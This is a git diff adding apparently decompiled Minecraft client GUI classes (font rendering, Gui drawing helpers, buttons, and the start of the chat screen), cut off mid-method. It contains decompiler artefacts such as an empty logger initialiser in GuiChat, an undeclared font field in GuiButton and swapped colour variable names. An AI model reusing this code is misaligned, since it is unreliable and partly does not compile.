+          }
+          
+          var8 += var12;
+        }
+        
+
+
+
+        if (strikethroughStyle) {
+          Tessellator var9 = Tessellator.getInstance();
+          WorldRenderer var10 = var9.getWorldRenderer();
+          GlStateManager.func_179090_x();
+          var10.startDrawingQuads();
+          var10.addVertex(posX, posY + FONT_HEIGHT / 2, 0.0D);
+          var10.addVertex(posX + var8, posY + FONT_HEIGHT / 2, 
+            0.0D);
+          var10.addVertex(posX + var8, 
+            posY + FONT_HEIGHT / 2 - 1.0F, 0.0D);
+          var10.addVertex(posX, posY + FONT_HEIGHT / 2 - 1.0F, 
+            0.0D);
+          var9.draw();
+          GlStateManager.func_179098_w();
+        }
+        
+        if (underlineStyle) {
+          Tessellator var9 = Tessellator.getInstance();
+          WorldRenderer var10 = var9.getWorldRenderer();
+          GlStateManager.func_179090_x();
+          var10.startDrawingQuads();
+          int var11 = underlineStyle ? -1 : 0;
+          var10.addVertex(posX + var11, 
+            posY + FONT_HEIGHT, 0.0D);
+          var10.addVertex(posX + var8, posY + FONT_HEIGHT, 0.0D);
+          var10.addVertex(posX + var8, posY + FONT_HEIGHT - 1.0F, 
+            0.0D);
+          var10.addVertex(posX + var11, 
+            posY + FONT_HEIGHT - 1.0F, 0.0D);
+          var9.draw();
+          GlStateManager.func_179098_w();
+        }
+        
+        posX += var8;
+      }
+    }
+  }
+  
+
+
+
+  private int renderStringAligned(String p_78274_1_, int p_78274_2_, int p_78274_3_, int p_78274_4_, int p_78274_5_, boolean p_78274_6_)
+  {
+    if (bidiFlag) {
+      int var7 = getStringWidth(bidiReorder(p_78274_1_));
+      p_78274_2_ = p_78274_2_ + p_78274_4_ - var7;
+    }
+    
+    return func_180455_b(p_78274_1_, p_78274_2_, p_78274_3_, p_78274_5_, p_78274_6_);
+  }
+  
+  private int func_180455_b(String p_180455_1_, float p_180455_2_, float p_180455_3_, int p_180455_4_, boolean p_180455_5_)
+  {
+    if (p_180455_1_ == null) {
+      return 0;
+    }
+    if (bidiFlag) {
+      p_180455_1_ = bidiReorder(p_180455_1_);
+    }
+    
+    if ((p_180455_4_ & 0xFC000000) == 0) {
+      p_180455_4_ |= 0xFF000000;
+    }
+    
+    if (p_180455_5_) {
+      p_180455_4_ = (p_180455_4_ & 0xFCFCFC) >> 2 | p_180455_4_ & 0xFF000000;
+    }
+    
+    red = ((p_180455_4_ >> 16 & 0xFF) / 255.0F);
+    blue = ((p_180455_4_ >> 8 & 0xFF) / 255.0F);
+    green = ((p_180455_4_ & 0xFF) / 255.0F);
+    alpha = ((p_180455_4_ >> 24 & 0xFF) / 255.0F);
+    setColor(red, blue, green, alpha);
+    posX = p_180455_2_;
+    posY = p_180455_3_;
+    renderStringAtPos(p_180455_1_, p_180455_5_);
+    return (int)posX;
+  }
+  
+
+
+
+
+  public int getStringWidth(String p_78256_1_)
+  {
+    if (p_78256_1_ == null) {
+      return 0;
+    }
+    float var2 = 0.0F;
+    boolean var3 = false;
+    
+    for (int var4 = 0; var4 < p_78256_1_.length(); var4++) {
+      char var5 = p_78256_1_.charAt(var4);
+      float var6 = getCharWidthFloat(var5);
+      
+      if ((var6 < 0.0F) && (var4 < p_78256_1_.length() - 1)) {
+        var4++;
+        var5 = p_78256_1_.charAt(var4);
+        
+        if ((var5 != 'l') && (var5 != 'L')) {
+          if ((var5 == 'r') || (var5 == 'R')) {
+            var3 = false;
+          }
+        } else {
+          var3 = true;
+        }
+        
+        var6 = 0.0F;
+      }
+      
+      var2 += var6;
+      
+      if ((var3) && (var6 > 0.0F)) {
+        var2 += (unicodeFlag ? 1.0F : offsetBold);
+      }
+    }
+    
+    return (int)var2;
+  }
+  
+
+
+
+  public int getCharWidth(char par1)
+  {
+    return Math.round(getCharWidthFloat(par1));
+  }
+  
+  private float getCharWidthFloat(char p_78263_1_) {
+    if (p_78263_1_ == '§')
+      return -1.0F;
+    if (p_78263_1_ == ' ') {
+      return charWidth[32];
+    }
+    int var2 = "ÀÁÂÈÊËÍÓÔÕÚßãõğİıŒœŞşŴŵžȇ\000\000\000\000\000\000\000 !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\000ÇüéâäàåçêëèïîìÄÅÉæÆôöòûùÿÖÜø£Ø׃áíóúñѪº¿®¬½¼¡«»░▒▓│┤╡╢╖╕╣║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤╥╙╘╒╓╫╪┘┌█▄▌▐▀αβΓπΣσμτΦΘΩδ∞∅∈∩≡±≥≤⌠⌡÷≈°∙·√ⁿ²■\000"
+      .indexOf(p_78263_1_);
+    
+    if ((p_78263_1_ > 0) && (var2 != -1) && (!unicodeFlag))
+      return charWidth[var2];
+    if (glyphWidth[p_78263_1_] != 0) {
+      int var3 = glyphWidth[p_78263_1_] >>> 4;
+      int var4 = glyphWidth[p_78263_1_] & 0xF;
+      var3 &= 0xF;
+      var4++;
+      return (var4 - var3) / 2 + 1;
+    }
+    return 0.0F;
+  }
+  
+
+
+
+
+  public String trimStringToWidth(String p_78269_1_, int p_78269_2_)
+  {
+    return trimStringToWidth(p_78269_1_, p_78269_2_, false);
+  }
+  
+
+
+  public String trimStringToWidth(String p_78262_1_, int p_78262_2_, boolean p_78262_3_)
+  {
+    StringBuilder var4 = new StringBuilder();
+    float var5 = 0.0F;
+    int var6 = p_78262_3_ ? p_78262_1_.length() - 1 : 0;
+    int var7 = p_78262_3_ ? -1 : 1;
+    boolean var8 = false;
+    boolean var9 = false;
+    
+    for (int var10 = var6; (var10 >= 0) && (var10 < p_78262_1_.length()) && (var5 < p_78262_2_); var10 += var7) {
+      char var11 = p_78262_1_.charAt(var10);
+      float var12 = getCharWidthFloat(var11);
+      
+      if (var8) {
+        var8 = false;
+        
+        if ((var11 != 'l') && (var11 != 'L')) {
+          if ((var11 == 'r') || (var11 == 'R')) {
+            var9 = false;
+          }
+        } else {
+          var9 = true;
+        }
+      } else if (var12 < 0.0F) {
+        var8 = true;
+      } else {
+        var5 += var12;
+        
+        if (var9) {
+          var5 += 1.0F;
+        }
+      }
+      
+      if (var5 > p_78262_2_) {
+        break;
+      }
+      
+      if (p_78262_3_) {
+        var4.insert(0, var11);
+      } else {
+        var4.append(var11);
+      }
+    }
+    
+    return var4.toString();
+  }
+  
+
+
+  private String trimStringNewline(String p_78273_1_)
+  {
+    while ((p_78273_1_ != null) && (p_78273_1_.endsWith("\n"))) {
+      p_78273_1_ = p_78273_1_.substring(0, p_78273_1_.length() - 1);
+    }
+    
+    return p_78273_1_;
+  }
+  
+
+
+  public void drawSplitString(String str, int x, int y, int wrapWidth, int textColor)
+  {
+    resetStyles();
+    this.textColor = textColor;
+    str = trimStringNewline(str);
+    renderSplitString(str, x, y, wrapWidth, false);
+  }
+  
+
+
+
+  private void renderSplitString(String str, int x, int y, int wrapWidth, boolean addShadow)
+  {
+    List var6 = listFormattedStringToWidth(str, wrapWidth);
+    
+    for (Iterator var7 = var6.iterator(); var7.hasNext(); y += FONT_HEIGHT) {
+      String var8 = (String)var7.next();
+      renderStringAligned(var8, x, y, wrapWidth, textColor, addShadow);
+    }
+  }
+  
+
+
+  public int splitStringWidth(String p_78267_1_, int p_78267_2_)
+  {
+    return FONT_HEIGHT * listFormattedStringToWidth(p_78267_1_, p_78267_2_).size();
+  }
+  
+
+
+
+  public void setUnicodeFlag(boolean p_78264_1_)
+  {
+    unicodeFlag = p_78264_1_;
+  }
+  
+
+
+
+  public boolean getUnicodeFlag()
+  {
+    return unicodeFlag;
+  }
+  
+
+
+
+  public void setBidiFlag(boolean p_78275_1_)
+  {
+    bidiFlag = p_78275_1_;
+  }
+  
+
+
+  public List listFormattedStringToWidth(String str, int wrapWidth)
+  {
+    return Arrays.asList(wrapFormattedStringToWidth(str, wrapWidth).split("\n"));
+  }
+  
+
+
+
+  String wrapFormattedStringToWidth(String str, int wrapWidth)
+  {
+    int var3 = sizeStringToWidth(str, wrapWidth);
+    
+    if (str.length() <= var3) {
+      return str;
+    }
+    String var4 = str.substring(0, var3);
+    char var5 = str.charAt(var3);
+    boolean var6 = (var5 == ' ') || (var5 == '\n');
+    String var7 = getFormatFromString(var4) + str.substring(var3 + (var6 ? 1 : 0));
+    return var4 + "\n" + wrapFormattedStringToWidth(var7, wrapWidth);
+  }
+  
+
+
+
+
+  private int sizeStringToWidth(String str, int wrapWidth)
+  {
+    int var3 = str.length();
+    float var4 = 0.0F;
+    int var5 = 0;
+    int var6 = -1;
+    
+    for (boolean var7 = false; var5 < var3; var5++) {
+      char var8 = str.charAt(var5);
+      
+      switch (var8) {
+      case '\n': 
+        var5--;
+        break;
+      
+      case '§': 
+        if (var5 < var3 - 1) {
+          var5++;
+          char var9 = str.charAt(var5);
+          
+          if ((var9 != 'l') && (var9 != 'L')) {
+            if ((var9 == 'r') || (var9 == 'R') || (isFormatColor(var9))) {
+              var7 = false;
+            }
+          } else {
+            var7 = true;
+          }
+        }
+        
+        break;
+      
+      case ' ': 
+        var6 = var5;
+      
+      default: 
+        var4 += getCharWidthFloat(var8);
+        
+        if (var7) {
+          var4 += 1.0F;
+        }
+        break;
+      }
+      if (var8 == '\n') {
+        var5++;
+        var6 = var5;
+      }
+      else
+      {
+        if (var4 > wrapWidth) {
+          break;
+        }
+      }
+    }
+    return (var5 != var3) && (var6 != -1) && (var6 < var5) ? var6 : var5;
+  }
+  
+
+
+  private static boolean isFormatColor(char colorChar)
+  {
+    return ((colorChar >= '0') && (colorChar <= '9')) || ((colorChar >= 'a') && (colorChar <= 'f')) || (
+      (colorChar >= 'A') && (colorChar <= 'F'));
+  }
+  
+
+
+  private static boolean isFormatSpecial(char formatChar)
+  {
+    return ((formatChar >= 'k') && (formatChar <= 'o')) || ((formatChar >= 'K') && (formatChar <= 'O')) || (formatChar == 'r') || 
+      (formatChar == 'R');
+  }
+  
+
+
+
+  public static String getFormatFromString(String p_78282_0_)
+  {
+    String var1 = "";
+    int var2 = -1;
+    int var3 = p_78282_0_.length();
+    
+    while ((var2 = p_78282_0_.indexOf('§', var2 + 1)) != -1) {
+      if (var2 < var3 - 1) {
+        char var4 = p_78282_0_.charAt(var2 + 1);
+        
+        if (isFormatColor(var4)) {
+          var1 = "§" + var4;
+        } else if (isFormatSpecial(var4)) {
+          var1 = var1 + "§" + var4;
+        }
+      }
+    }
+    
+    return var1;
+  }
+  
+
+
+
+  public boolean getBidiFlag()
+  {
+    return bidiFlag;
+  }
+  
+  public int func_175064_b(char p_175064_1_) {
+    int index = "0123456789abcdef".indexOf(p_175064_1_);
+    
+    if ((index >= 0) && (index < colorCode.length)) {
+      int color = colorCode[index];
+      
+      if (Config.isCustomColors()) {
+        color = CustomColors.getTextColor(index, color);
+      }
+      
+      return color;
+    }
+    return 16777215;
+  }
+  
+  protected void setColor(float r, float g, float b, float a)
+  {
+    GlStateManager.color(r, g, b, a);
+  }
+  
+
+  protected void enableAlpha() {}
+  
+  protected void bindTexture(ResourceLocation location)
+  {
+    renderEngine.bindTexture(location);
+  }
+  
+  protected InputStream getResourceInputStream(ResourceLocation location) throws IOException {
+    return Minecraft.getMinecraft().getResourceManager().getResource(location).getInputStream();
+  }
+  
+  public void drawCenteredString(String text, int x, int y, int color) {
+    drawStringWithShadow(text, x - getStringWidth(text) / 2, y, color);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/Gui.java b/src/minecraft/net/minecraft/client/gui/Gui.java
new file mode 100644
index 0000000..c48db1f
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/Gui.java
@@ -0,0 +1,215 @@
+package net.minecraft.client.gui;
+
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.util.ResourceLocation;
+
+public class Gui
+{
+  public static final ResourceLocation optionsBackground = new ResourceLocation("textures/gui/options_background.png");
+  public static final ResourceLocation statIcons = new ResourceLocation("textures/gui/container/stats_icons.png");
+  public static final ResourceLocation icons = new ResourceLocation("textures/gui/icons.png");
+  
+  protected float zLevel;
+  private static final String __OBFID = "CL_00000662";
+  
+  public Gui() {}
+  
+  protected void drawHorizontalLine(int startX, int endX, int y, int color)
+  {
+    if (endX < startX)
+    {
+      int var5 = startX;
+      startX = endX;
+      endX = var5;
+    }
+    
+    drawRect(startX, y, endX + 1, y + 1, color);
+  }
+  
+
+
+
+  protected void drawVerticalLine(int x, int startY, int endY, int color)
+  {
+    if (endY < startY)
+    {
+      int var5 = startY;
+      startY = endY;
+      endY = var5;
+    }
+    
+    drawRect(x, startY + 1, x + 1, endY, color);
+  }
+  
+
+
+
+
+
+  public static void drawRect(double left, double top, double right, double bottom, int color)
+  {
+    if (left < right)
+    {
+      double var5 = left;
+      left = right;
+      right = var5;
+    }
+    
+    if (top < bottom)
+    {
+      double var5 = top;
+      top = bottom;
+      bottom = var5;
+    }
+    
+    float var11 = (color >> 24 & 0xFF) / 255.0F;
+    float var6 = (color >> 16 & 0xFF) / 255.0F;
+    float var7 = (color >> 8 & 0xFF) / 255.0F;
+    float var8 = (color & 0xFF) / 255.0F;
+    Tessellator var9 = Tessellator.getInstance();
+    WorldRenderer var10 = var9.getWorldRenderer();
+    GlStateManager.enableBlend();
+    GlStateManager.func_179090_x();
+    GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+    GlStateManager.color(var6, var7, var8, var11);
+    var10.startDrawingQuads();
+    var10.addVertex(left, bottom, 0.0D);
+    var10.addVertex(right, bottom, 0.0D);
+    var10.addVertex(right, top, 0.0D);
+    var10.addVertex(left, top, 0.0D);
+    var9.draw();
+    GlStateManager.func_179098_w();
+    GlStateManager.disableBlend();
+  }
+  
+
+
+
+
+  protected void drawGradientRect(int left, int top, int right, int bottom, int startColor, int endColor)
+  {
+    float var7 = (startColor >> 24 & 0xFF) / 255.0F;
+    float var8 = (startColor >> 16 & 0xFF) / 255.0F;
+    float var9 = (startColor >> 8 & 0xFF) / 255.0F;
+    float var10 = (startColor & 0xFF) / 255.0F;
+    float var11 = (endColor >> 24 & 0xFF) / 255.0F;
+    float var12 = (endColor >> 16 & 0xFF) / 255.0F;
+    float var13 = (endColor >> 8 & 0xFF) / 255.0F;
+    float var14 = (endColor & 0xFF) / 255.0F;
+    GlStateManager.func_179090_x();
+    GlStateManager.enableBlend();
+    GlStateManager.disableAlpha();
+    GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+    GlStateManager.shadeModel(7425);
+    Tessellator var15 = Tessellator.getInstance();
+    WorldRenderer var16 = var15.getWorldRenderer();
+    var16.startDrawingQuads();
+    var16.func_178960_a(var8, var9, var10, var7);
+    var16.addVertex(right, top, zLevel);
+    var16.addVertex(left, top, zLevel);
+    var16.func_178960_a(var12, var13, var14, var11);
+    var16.addVertex(left, bottom, zLevel);
+    var16.addVertex(right, bottom, zLevel);
+    var15.draw();
+    GlStateManager.shadeModel(7424);
+    GlStateManager.disableBlend();
+    GlStateManager.enableAlpha();
+    GlStateManager.func_179098_w();
+  }
+  
+
+
+
+  public void drawCenteredString(FontRenderer fontRendererIn, String text, int x, int y, int color)
+  {
+    fontRendererIn.drawStringWithShadow(text, x - fontRendererIn.getStringWidth(text) / 2, y, color);
+  }
+  
+
+
+
+  public void drawString(FontRenderer fontRendererIn, String text, int x, int y, int color)
+  {
+    fontRendererIn.drawStringWithShadow(text, x, y, color);
+  }
+  
+
+
+
+  public void drawTexturedModalRect(int x, int y, int textureX, int textureY, int width, int height)
+  {
+    float var7 = 0.00390625F;
+    float var8 = 0.00390625F;
+    Tessellator var9 = Tessellator.getInstance();
+    WorldRenderer var10 = var9.getWorldRenderer();
+    var10.startDrawingQuads();
+    var10.addVertexWithUV(x + 0, y + height, zLevel, (textureX + 0) * var7, (textureY + height) * var8);
+    var10.addVertexWithUV(x + width, y + height, zLevel, (textureX + width) * var7, (textureY + height) * var8);
+    var10.addVertexWithUV(x + width, y + 0, zLevel, (textureX + width) * var7, (textureY + 0) * var8);
+    var10.addVertexWithUV(x + 0, y + 0, zLevel, (textureX + 0) * var7, (textureY + 0) * var8);
+    var9.draw();
+  }
+  
+  public void func_175174_a(float p_175174_1_, float p_175174_2_, int p_175174_3_, int p_175174_4_, int p_175174_5_, int p_175174_6_)
+  {
+    float var7 = 0.00390625F;
+    float var8 = 0.00390625F;
+    Tessellator var9 = Tessellator.getInstance();
+    WorldRenderer var10 = var9.getWorldRenderer();
+    var10.startDrawingQuads();
+    var10.addVertexWithUV(p_175174_1_ + 0.0F, p_175174_2_ + p_175174_6_, zLevel, (p_175174_3_ + 0) * var7, (p_175174_4_ + p_175174_6_) * var8);
+    var10.addVertexWithUV(p_175174_1_ + p_175174_5_, p_175174_2_ + p_175174_6_, zLevel, (p_175174_3_ + p_175174_5_) * var7, (p_175174_4_ + p_175174_6_) * var8);
+    var10.addVertexWithUV(p_175174_1_ + p_175174_5_, p_175174_2_ + 0.0F, zLevel, (p_175174_3_ + p_175174_5_) * var7, (p_175174_4_ + 0) * var8);
+    var10.addVertexWithUV(p_175174_1_ + 0.0F, p_175174_2_ + 0.0F, zLevel, (p_175174_3_ + 0) * var7, (p_175174_4_ + 0) * var8);
+    var9.draw();
+  }
+  
+  public void func_175175_a(int p_175175_1_, int p_175175_2_, TextureAtlasSprite p_175175_3_, int p_175175_4_, int p_175175_5_)
+  {
+    Tessellator var6 = Tessellator.getInstance();
+    WorldRenderer var7 = var6.getWorldRenderer();
+    var7.startDrawingQuads();
+    var7.addVertexWithUV(p_175175_1_ + 0, p_175175_2_ + p_175175_5_, zLevel, p_175175_3_.getMinU(), p_175175_3_.getMaxV());
+    var7.addVertexWithUV(p_175175_1_ + p_175175_4_, p_175175_2_ + p_175175_5_, zLevel, p_175175_3_.getMaxU(), p_175175_3_.getMaxV());
+    var7.addVertexWithUV(p_175175_1_ + p_175175_4_, p_175175_2_ + 0, zLevel, p_175175_3_.getMaxU(), p_175175_3_.getMinV());
+    var7.addVertexWithUV(p_175175_1_ + 0, p_175175_2_ + 0, zLevel, p_175175_3_.getMinU(), p_175175_3_.getMinV());
+    var6.draw();
+  }
+  
+
+
+
+  public static void drawModalRectWithCustomSizedTexture(int x, int y, float u, float v, int width, int height, float textureWidth, float textureHeight)
+  {
+    float var8 = 1.0F / textureWidth;
+    float var9 = 1.0F / textureHeight;
+    Tessellator var10 = Tessellator.getInstance();
+    WorldRenderer var11 = var10.getWorldRenderer();
+    var11.startDrawingQuads();
+    var11.addVertexWithUV(x, y + height, 0.0D, u * var8, (v + height) * var9);
+    var11.addVertexWithUV(x + width, y + height, 0.0D, (u + width) * var8, (v + height) * var9);
+    var11.addVertexWithUV(x + width, y, 0.0D, (u + width) * var8, v * var9);
+    var11.addVertexWithUV(x, y, 0.0D, u * var8, v * var9);
+    var10.draw();
+  }
+  
+
+
+
+  public static void drawScaledCustomSizeModalRect(int x, int y, float u, float v, int uWidth, int vHeight, int width, int height, float tileWidth, float tileHeight)
+  {
+    float var10 = 1.0F / tileWidth;
+    float var11 = 1.0F / tileHeight;
+    Tessellator var12 = Tessellator.getInstance();
+    WorldRenderer var13 = var12.getWorldRenderer();
+    var13.startDrawingQuads();
+    var13.addVertexWithUV(x, y + height, 0.0D, u * var10, (v + vHeight) * var11);
+    var13.addVertexWithUV(x + width, y + height, 0.0D, (u + uWidth) * var10, (v + vHeight) * var11);
+    var13.addVertexWithUV(x + width, y, 0.0D, (u + uWidth) * var10, v * var11);
+    var13.addVertexWithUV(x, y, 0.0D, u * var10, v * var11);
+    var12.draw();
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiButton.java b/src/minecraft/net/minecraft/client/gui/GuiButton.java
new file mode 100644
index 0000000..31b94c0
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiButton.java
@@ -0,0 +1,152 @@
+package net.minecraft.client.gui;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.audio.PositionedSoundRecord;
+import net.minecraft.client.audio.SoundHandler;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.util.ResourceLocation;
+
+public class GuiButton extends Gui
+{
+  protected static final ResourceLocation buttonTextures = new ResourceLocation("textures/gui/widgets.png");
+  
+
+  protected int width;
+  
+
+  protected int height;
+  
+
+  public int xPosition;
+  
+  public int yPosition;
+  
+  public String displayString;
+  
+  public int id;
+  
+  public boolean enabled;
+  
+  public boolean visible;
+  
+  protected boolean hovered;
+  
+  private static final String __OBFID = "CL_00000668";
+  
+
+  public GuiButton(int buttonId, int x, int y, String buttonText)
+  {
+    this(buttonId, x, y, 200, 20, buttonText);
+  }
+  
+  public GuiButton(int buttonId, int x, int y, int widthIn, int heightIn, String buttonText)
+  {
+    width = 200;
+    height = 20;
+    enabled = true;
+    visible = true;
+    id = buttonId;
+    xPosition = x;
+    yPosition = y;
+    width = widthIn;
+    height = heightIn;
+    displayString = buttonText;
+  }
+  
+
+
+
+
+  protected int getHoverState(boolean mouseOver)
+  {
+    byte var2 = 1;
+    
+    if (!enabled)
+    {
+      var2 = 0;
+    }
+    else if (mouseOver)
+    {
+      var2 = 2;
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  public void drawButton(Minecraft mc, int mouseX, int mouseY)
+  {
+    if (visible)
+    {
+      FontRenderer var4 = fontRendererObj;
+      mc.getTextureManager().bindTexture(buttonTextures);
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      hovered = ((mouseX >= xPosition) && (mouseY >= yPosition) && (mouseX < xPosition + width) && (mouseY < yPosition + height));
+      int var5 = getHoverState(hovered);
+      GlStateManager.enableBlend();
+      GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+      GlStateManager.blendFunc(770, 771);
+      drawTexturedModalRect(xPosition, yPosition, 0, 46 + var5 * 20, width / 2, height);
+      drawTexturedModalRect(xPosition + width / 2, yPosition, 200 - width / 2, 46 + var5 * 20, width / 2, height);
+      mouseDragged(mc, mouseX, mouseY);
+      int var6 = 14737632;
+      
+      if (!enabled)
+      {
+        var6 = 10526880;
+      }
+      else if (hovered)
+      {
+        var6 = 16777120;
+      }
+      
+      drawCenteredString(var4, displayString, xPosition + width / 2, yPosition + (height - 8) / 2, var6);
+    }
+  }
+  
+
+
+
+
+  protected void mouseDragged(Minecraft mc, int mouseX, int mouseY) {}
+  
+
+
+
+  public void mouseReleased(int mouseX, int mouseY) {}
+  
+
+
+
+  public boolean mousePressed(Minecraft mc, int mouseX, int mouseY)
+  {
+    return (enabled) && (visible) && (mouseX >= xPosition) && (mouseY >= yPosition) && (mouseX < xPosition + width) && (mouseY < yPosition + height);
+  }
+  
+
+
+
+  public boolean isMouseOver()
+  {
+    return hovered;
+  }
+  
+  public void drawButtonForegroundLayer(int mouseX, int mouseY) {}
+  
+  public void playPressSound(SoundHandler soundHandlerIn)
+  {
+    soundHandlerIn.playSound(PositionedSoundRecord.createPositionedSoundRecord(new ResourceLocation("gui.button.press"), 1.0F));
+  }
+  
+  public int getButtonWidth()
+  {
+    return width;
+  }
+  
+  public void func_175211_a(int p_175211_1_)
+  {
+    width = p_175211_1_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiButtonLanguage.java b/src/minecraft/net/minecraft/client/gui/GuiButtonLanguage.java
new file mode 100644
index 0000000..bc6e977
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiButtonLanguage.java
@@ -0,0 +1,35 @@
+package net.minecraft.client.gui;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.texture.TextureManager;
+
+public class GuiButtonLanguage extends GuiButton
+{
+  private static final String __OBFID = "CL_00000672";
+  
+  public GuiButtonLanguage(int p_i1041_1_, int p_i1041_2_, int p_i1041_3_)
+  {
+    super(p_i1041_1_, p_i1041_2_, p_i1041_3_, 20, 20, "");
+  }
+  
+
+
+
+  public void drawButton(Minecraft mc, int mouseX, int mouseY)
+  {
+    if (visible)
+    {
+      mc.getTextureManager().bindTexture(GuiButton.buttonTextures);
+      net.minecraft.client.renderer.GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      boolean var4 = (mouseX >= xPosition) && (mouseY >= yPosition) && (mouseX < xPosition + width) && (mouseY < yPosition + height);
+      int var5 = 106;
+      
+      if (var4)
+      {
+        var5 += height;
+      }
+      
+      drawTexturedModalRect(xPosition, yPosition, 0, var5, width, height);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiButtonRealmsProxy.java b/src/minecraft/net/minecraft/client/gui/GuiButtonRealmsProxy.java
new file mode 100644
index 0000000..ba203ad
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiButtonRealmsProxy.java
@@ -0,0 +1,106 @@
+package net.minecraft.client.gui;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.realms.RealmsButton;
+
+public class GuiButtonRealmsProxy extends GuiButton
+{
+  private RealmsButton field_154318_o;
+  private static final String __OBFID = "CL_00001848";
+  
+  public GuiButtonRealmsProxy(RealmsButton p_i46321_1_, int p_i46321_2_, int p_i46321_3_, int p_i46321_4_, String p_i46321_5_)
+  {
+    super(p_i46321_2_, p_i46321_3_, p_i46321_4_, p_i46321_5_);
+    field_154318_o = p_i46321_1_;
+  }
+  
+  public GuiButtonRealmsProxy(RealmsButton p_i1090_1_, int p_i1090_2_, int p_i1090_3_, int p_i1090_4_, String p_i1090_5_, int p_i1090_6_, int p_i1090_7_)
+  {
+    super(p_i1090_2_, p_i1090_3_, p_i1090_4_, p_i1090_6_, p_i1090_7_, p_i1090_5_);
+    field_154318_o = p_i1090_1_;
+  }
+  
+  public int getId()
+  {
+    return id;
+  }
+  
+  public boolean getEnabled()
+  {
+    return enabled;
+  }
+  
+  public void setEnabled(boolean p_154313_1_)
+  {
+    enabled = p_154313_1_;
+  }
+  
+  public void setText(String p_154311_1_)
+  {
+    displayString = p_154311_1_;
+  }
+  
+  public int getButtonWidth()
+  {
+    return super.getButtonWidth();
+  }
+  
+  public int getPositionY()
+  {
+    return yPosition;
+  }
+  
+
+
+
+
+  public boolean mousePressed(Minecraft mc, int mouseX, int mouseY)
+  {
+    if (super.mousePressed(mc, mouseX, mouseY))
+    {
+      field_154318_o.clicked(mouseX, mouseY);
+    }
+    
+    return super.mousePressed(mc, mouseX, mouseY);
+  }
+  
+
+
+
+  public void mouseReleased(int mouseX, int mouseY)
+  {
+    field_154318_o.released(mouseX, mouseY);
+  }
+  
+
+
+
+  public void mouseDragged(Minecraft mc, int mouseX, int mouseY)
+  {
+    field_154318_o.renderBg(mouseX, mouseY);
+  }
+  
+  public RealmsButton getRealmsButton()
+  {
+    return field_154318_o;
+  }
+  
+
+
+
+
+  public int getHoverState(boolean mouseOver)
+  {
+    return field_154318_o.getYImage(mouseOver);
+  }
+  
+  public int func_154312_c(boolean p_154312_1_)
+  {
+    return super.getHoverState(p_154312_1_);
+  }
+  
+  public int func_175232_g()
+  {
+    return height;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/gui/GuiChat.java b/src/minecraft/net/minecraft/client/gui/GuiChat.java
new file mode 100644
index 0000000..ef23d60
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/gui/GuiChat.java
@@ -0,0 +1,355 @@
+package net.minecraft.client.gui;
+
+import java.io.IOException;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.network.NetHandlerPlayClient;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.ChatStyle;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.MovingObjectPosition;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.input.Keyboard;
+import org.lwjgl.input.Mouse;
+
+public class GuiChat extends GuiScreen
+{
+  private static final Logger logger = ;
+  private String historyBuffer = "";
+  
+
+
+
+
+  private int sentHistoryCursor = -1;
+  private boolean playerNamesFound;
+  private boolean waitingOnAutocomplete;
+  private int autocompleteIndex;
+  private List foundPlayerNames = com.google.common.collect.Lists.newArrayList();
+  
+
+
+  protected GuiTextField inputField;
+  
+
+
+  private String defaultInputFieldText = "";
+  private static final String __OBFID = "CL_00000682";
+  
+  public GuiChat() {}
+  
+  public GuiChat(String p_i1024_1_)
+  {
+    defaultInputFieldText = p_i1024_1_;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    Keyboard.enableRepeatEvents(true);
+    sentHistoryCursor = mc.ingameGUI.getChatGUI().getSentMessages().size();
+    inputField = new GuiTextField(0, fontRendererObj, 4, height - 12, width - 4, 12);
+    inputField.setMaxStringLength(100);
+    inputField.setEnableBackgroundDrawing(false);
+    inputField.setFocused(true);
+    inputField.setText(defaultInputFieldText);
+    inputField.setCanLoseFocus(false);
+  }
+  
+
+
+
+  public void onGuiClosed()
+  {
+    Keyboard.enableRepeatEvents(false);
+    mc.ingameGUI.getChatGUI().resetScroll();
+  }
+  
+
+
+
+  public void updateScreen()
+  {
+    inputField.updateCursorCounter();
+  }
+  
+
+
+
+  protected void keyTyped(char typedChar, int keyCode)
+    throws IOException
+  {
+    waitingOnAutocomplete = false;
+    
+    if (keyCode == 15)
+    {
+      autocompletePlayerNames();
+    }
+    else
+    {
+      playerNamesFound = false;
+    }
+    
+    if (keyCode == 1)
+    {
+      mc.displayGuiScreen(null);
+    }
+    else if ((keyCode != 28) && (keyCode != 156))
+    {
+      if (keyCode == 200)
+      {
+        getSentHistory(-1);
+      }
+      else if (keyCode == 208)
+      {
+        getSentHistory(1);
+      }
+      else if (keyCode == 201)
+      {
